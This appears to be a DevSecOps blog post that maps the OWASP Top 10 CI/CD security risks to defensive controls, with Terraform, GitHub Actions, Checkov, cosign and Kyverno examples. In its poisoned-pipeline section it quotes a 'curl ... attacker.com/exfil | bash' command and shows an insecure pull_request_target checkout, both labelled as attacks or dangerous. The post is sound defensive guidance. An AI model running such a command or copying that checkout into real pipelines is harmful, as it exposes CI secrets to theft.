The CI/CD pipeline is the most powerful system in a modern engineering organisation. It has write access to production, trusted credentials for cloud accounts, and the ability to deploy code to millions of users. It is also, in many organisations, the least secured system.
The OWASP Top 10 CI/CD Security Risks framework (2022) systematises the attack surface. This post walks through each risk, maps it to real-world scenarios I have encountered building DevSecOps pipelines at energy trading and ad-tech companies, and provides the specific tooling and controls I use.
The Pipeline as an Attack Surface

The diagram above shows the full security gate architecture I implement. The core principle is defence in depth across the pipeline: no single gate is assumed to be complete, and every stage has its own security check. A finding at any gate blocks the pipeline immediately and creates a JIRA ticket.
CICD-SEC-1: Insufficient Flow Control Mechanisms
The risk: Pipeline jobs with excessive permissions, no approval gates, and automatic deployment from feature branches to production.
What I have seen: A CI service account with AdministratorAccess on the AWS account, used for every pipeline job regardless of what the job actually does.
Controls I implement:
Separate service accounts per pipeline stage, each with minimal required permissions:
# Terraform: separate IAM roles per CI stage
resource "aws_iam_role" "ci_sast_role" {
name = "ci-sast-stage-role"
assume_role_policy = data.aws_iam_policy_document.github_actions_trust.json
}
resource "aws_iam_role_policy" "ci_sast_policy" {
name = "sast-only"
role = aws_iam_role.ci_sast_role.id
policy = jsonencode({
Version = "2012-10-17"
Statement = [{
Effect = "Allow"
Action = ["s3:GetObject", "s3:PutObject"]
Resource = "arn:aws:s3:::ci-scan-results/*"
}]
})
}
resource "aws_iam_role" "ci_deploy_prod_role" {
name = "ci-deploy-prod-role"
assume_role_policy = data.aws_iam_policy_document.github_actions_trust.json
}
# deploy-prod role requires manual approval in GitHub Actions environment
# and has only the permissions needed for EKS deployment
Branch protection rules in GitHub:
# .github/workflows/deploy-prod.yml
environment:
name: production # Requires manual approval from security team
url: https://prod.example.com
CICD-SEC-2: Inadequate Identity and Access Management
The risk: Long-lived credentials (static access keys) stored as CI secrets, shared across teams, never rotated.
What I have seen: AWS access keys committed to a .env file in a public repository in 2022, discovered via GitHub search three months after the fact.
Controls I implement:
Replace static credentials with OIDC federated identity. GitHub Actions and AWS support this natively:
# Terraform: GitHub OIDC trust relationship
data "aws_iam_policy_document" "github_actions_trust" {
statement {
actions = ["sts:AssumeRoleWithWebIdentity"]
principals {
type = "Federated"
identifiers = [aws_iam_openid_connect_provider.github.arn]
}
condition {
test = "StringEquals"
variable = "token.actions.githubusercontent.com:aud"
values = ["sts.amazonaws.com"]
}
condition {
test = "StringLike"
variable = "token.actions.githubusercontent.com:sub"
values = ["repo:your-org/your-repo:*"]
}
}
}
# .github/workflows/deploy.yml
- name: Configure AWS credentials via OIDC
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/ci-deploy-prod-role
role-session-name: GithubActionsSession
aws-region: eu-central-1
# No static credentials - token is issued per job, expires after 1 hour
CICD-SEC-3: Dependency Chain Abuse (Supply Chain)
The risk: Pulling third-party packages, base images, and GitHub Actions from untrusted sources. A compromised npm package or Docker base image infects every service that uses it.
What I have seen: A node_modules dependency updated silently to include a cryptocurrency miner, discovered only because EC2 CPU usage spiked.
Controls I implement:
Pin all GitHub Actions to a commit SHA, not a version tag:
# BAD: tag can be moved to point at malicious code
- uses: actions/checkout@v4
# GOOD: pinned to a specific commit digest
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
SCA with Trivy in the pipeline:
- name: Scan dependencies for CVEs
uses: aquasecurity/trivy-action@master
with:
scan-type: fs
scan-ref: .
format: sarif
output: trivy-results.sarif
severity: CRITICAL,HIGH
exit-code: 1 # Fail the pipeline on CRITICAL/HIGH
- name: Upload SARIF to GitHub Security tab
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: trivy-results.sarif
Generate and sign an SBOM:
# Generate SBOM for the container image
syft 123456789.dkr.ecr.eu-central-1.amazonaws.com/myapp:1.2.3 \
-o spdx-json=sbom.spdx.json
# Attach SBOM as a signed attestation to the image
cosign attest \
--predicate sbom.spdx.json \
--type spdxjson \
123456789.dkr.ecr.eu-central-1.amazonaws.com/myapp:1.2.3@sha256:abc...
CICD-SEC-4: Poisoned Pipeline Execution (PPE)
The risk: An attacker submits a PR that modifies the CI/CD configuration (.github/workflows/*.yml, Jenkinsfile, .gitlab-ci.yml) to exfiltrate secrets or deploy malicious code.
What I have seen: A PR from a fork that modified the workflow to curl -s attacker.com/exfil | bash using secrets available in the runner environment.
Controls I implement:
In GitHub Actions, workflows triggered by pull_request from forks run without access to secrets. Use pull_request_target only when necessary and never check out untrusted code in the same job that has access to secrets:
on:
pull_request:
# This trigger does NOT have access to secrets from forks
# Safe for SAST, linting, and build jobs
# NEVER do this in pull_request_target:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # DANGEROUS in pull_request_target
Require PR approval from a code owner before any pipeline runs:
# .github/CODEOWNERS
.github/workflows/** @security-team
Jenkinsfile @security-team
terraform/ @infrastructure-team @security-team
CICD-SEC-5: Insufficient PBAC (Pipeline-Based Access Controls)
The risk: Pipeline jobs can access secrets and resources beyond what they need. A SAST job that also has deployment credentials can both scan and deploy – the blast radius of a compromised job doubles.
Controls I implement:
Separate every pipeline stage into its own job with its own IAM role and minimal secret exposure:
jobs:
sast:
runs-on: ubuntu-latest
permissions:
contents: read
security-events: write # For SARIF upload only
# No AWS credentials - SAST does not need cloud access
build:
needs: sast
permissions:
contents: read
packages: write # For ECR push
# Gets ECR push role only
deploy-staging:
needs: build
environment: staging
permissions:
id-token: write # For OIDC only
contents: read
# Gets staging deploy role only - cannot touch prod
deploy-prod:
needs: [build, integration-tests]
environment: production # Requires manual approval
permissions:
id-token: write
contents: read
# Gets prod deploy role only after explicit human approval
CICD-SEC-6: Insufficient Credential Hygiene
The risk: Secrets printed to logs, stored in build artefacts, or embedded in container image layers.
Controls I implement:
gitleaks as a pre-commit hook to catch secrets before they reach the repository:
# .pre-commit-config.yaml
repos:
- repo: https://github.com/gitleaks/gitleaks
rev: v8.18.4
hooks:
- id: gitleaks
name: Detect hardcoded secrets
entry: gitleaks protect --staged
language: golang
pass_filenames: false
Trivy secret scanning in the CI pipeline as a second layer:
- name: Scan for secrets in filesystem
run: |
trivy fs . \
--scanners secret \
--exit-code 1 \
--severity HIGH,CRITICAL
Multi-stage Docker builds to avoid leaking build-time credentials into the final image layer:
# Stage 1: Build - may use build-time secrets
FROM golang:1.22 AS builder
RUN --mount=type=secret,id=npmrc,target=/root/.npmrc \
go build -o /app ./...
# Stage 2: Runtime - distroless, no build tools, no secrets
FROM gcr.io/distroless/base-debian12
COPY --from=builder /app /app
USER nonroot:nonroot
ENTRYPOINT ["/app"]
CICD-SEC-7: Insecure System Configuration (IaC)
The risk: Terraform, CloudFormation, and Helm charts with security misconfigurations (open security groups, unencrypted storage, disabled logging) that pass code review because reviewers miss security context.
Controls I implement:
Checkov as a mandatory CI gate with custom policies for organisation-specific rules:
- name: Checkov IaC security scan
uses: bridgecrewio/checkov-action@master
with:
directory: terraform/
framework: terraform
output_format: cli,sarif
output_file_path: console,checkov-results.sarif
soft_fail: false
compact: true
# Our custom policies on top of built-in rules
external-checks-dir: policies/checkov/
A custom Checkov check for an organisation-specific requirement (all S3 buckets must have a data-classification tag):
# policies/checkov/check_s3_data_classification_tag.py
from checkov.common.models.enums import CheckResult, CheckCategories
from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck
class S3DataClassificationTag(BaseResourceCheck):
def __init__(self):
name = "S3 bucket must have data-classification tag"
id = "CKV_CUSTOM_S3_01"
categories = [CheckCategories.GENERAL_SECURITY]
supported_resources = ["aws_s3_bucket"]
super().__init__(name=name, id=id, categories=categories,
supported_resources=supported_resources)
def scan_resource_conf(self, conf):
tags = conf.get("tags", [{}])[0]
if isinstance(tags, dict) and "data-classification" in tags:
return CheckResult.PASSED
return CheckResult.FAILED
scanner = S3DataClassificationTag()
CICD-SEC-8: Ungoverned Usage of Third-Party Services
The risk: Engineers connect third-party services (Slack, Datadog, Snyk) to the CI/CD system with broad OAuth scopes and no review process. These integrations accumulate over time and represent a significant supply chain risk.
Controls I implement:
Maintain an approved-integrations registry in Terraform, so any new OAuth application requires a PR with security review:
# terraform/github-integrations.tf
resource "github_app_installation_repository" "approved_integrations" {
for_each = toset([
"snyk",
"datadog-ci",
"codecov"
])
# New integrations require adding to this list, which triggers policy review
}
Audit all active GitHub Actions secrets quarterly using the GitHub API:
gh api repos/your-org/your-repo/actions/secrets --paginate \
| jq '.secrets[] | {name, updated_at}'
CICD-SEC-9: Improper Artefact Integrity Validation
The risk: Container images are built, pushed to a registry, and deployed – but nothing validates that the image that reaches production is the same image that was scanned and approved.
Controls I implement:
Sign every container image with Cosign (Sigstore) after it passes all scans:
# Sign the image after all security gates pass
cosign sign \
--key awskms:///arn:aws:kms:eu-central-1:ACCOUNT:key/KEY_ID \
123456789.dkr.ecr.eu-central-1.amazonaws.com/myapp:1.2.3@sha256:abc...
Verify the signature in the Kubernetes admission controller using a Kyverno policy:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signature
spec:
validationFailureAction: Enforce
rules:
- name: verify-cosign-signature
match:
any:
- resources:
kinds: [Pod]
verifyImages:
- imageReferences:
- "123456789.dkr.ecr.eu-central-1.amazonaws.com/*"
attestors:
- entries:
- keys:
kms: awskms:///arn:aws:kms:eu-central-1:ACCOUNT:key/KEY_ID
CICD-SEC-10: Insufficient Logging and Visibility
The risk: Pipeline runs leave no audit trail, making post-incident forensics impossible. Who triggered the deployment? What image digest was used? Were any gates bypassed?
Controls I implement:
Ship all pipeline events to a centralised audit log (CloudWatch + S3) using GitHub Actions OIDC tokens for attribution:
- name: Emit audit log entry
run: |
aws logs put-log-events \
--log-group-name "/cicd/audit" \
--log-stream-name "github-actions" \
--log-events timestamp=$(date +%s%3N),message="{
\"workflow\": \"$GITHUB_WORKFLOW\",
\"actor\": \"$GITHUB_ACTOR\",
\"ref\": \"$GITHUB_REF\",
\"sha\": \"$GITHUB_SHA\",
\"image_digest\": \"$IMAGE_DIGEST\",
\"environment\": \"production\",
\"timestamp\": \"$(date -u +%Y-%m-%dT%H:%M:%SZ)\"
}"
Orca Security’s CSPM continuously monitors the cloud environment for drift – if a configuration changes outside of a pipeline run, it generates a finding within minutes.
Putting It Together: The Security Gate Summary
| Stage | Tool | What it catches | Failure action |
|---|---|---|---|
| Pre-commit | gitleaks | Secrets in staged files | Block commit |
| Pre-commit | tflint | Terraform syntax errors | Block commit |
| CI: SAST | Checkov | IaC misconfigurations | Block PR merge |
| CI: SAST | Semgrep | Application code vulnerabilities | Block PR merge |
| CI: SCA | Trivy | OSS dependency CVEs | Block PR merge |
| CI: Secret | Trivy | Secrets in repo/image | Block PR merge |
| Build | Multi-stage Dockerfile | Credentials in image layers | Architectural control |
| Image scan | Trivy + Orca | Container CVEs, malware | Block image push |
| Sign | cosign | Unsigned images reach prod | K8s admission deny |
| DAST | OWASP ZAP | Runtime API vulnerabilities | Block prod deploy |
| K8s admission | Kyverno + OPA | Workload policy violations | Block pod creation |
| Runtime | Falco + GuardDuty | Post-deploy threat detection | Alert + IR trigger |
Each gate is independently meaningful – a finding at any layer stops the pipeline before it propagates further.